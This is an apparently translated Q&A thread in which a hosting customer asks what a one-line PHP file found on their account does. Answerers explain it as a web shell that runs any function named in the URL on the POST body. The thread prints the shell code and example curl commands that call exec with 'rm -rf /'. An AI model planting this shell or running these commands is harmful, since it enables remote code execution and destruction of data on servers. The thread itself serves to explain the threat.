【发布时间】:2014-02-20 10:41:51
【问题描述】:
我在我的主机账户中发现了恶意 php 文件,代码如下:
<?=$_GET[0]($_POST[1]);?>
请帮助我更好地理解这个代码,这个代码对于上传者有什么可能?
提前致谢。
【问题讨论】:
我在我的主机账户中发现了恶意 php 文件,代码如下:
<?=$_GET[0]($_POST[1]);?>
请帮助我更好地理解这个代码,这个代码对于上传者有什么可能?
提前致谢。
【问题讨论】:
$func = 'strlen';
$arg = 'foo';
echo $func($arg); // output: 3
您正在查看一个变量函数调用。就您而言,函数名称来自 URL 中的查询字符串和来自 HTTP POST 正文的参数。所以,这可以执行任何事情。可能有人会尝试使用它通过exec 执行shell 代码。
例如:
$ curl example.com/infected_file.php?exec -d 'rm%20-rf%20/'
(不是 100% 肯定这会按原样进行,我不想尝试,但你明白了。)
【讨论】:
infected_file.php?0=exec -d 'rm%20-rf%20/'(也给php root权限:P)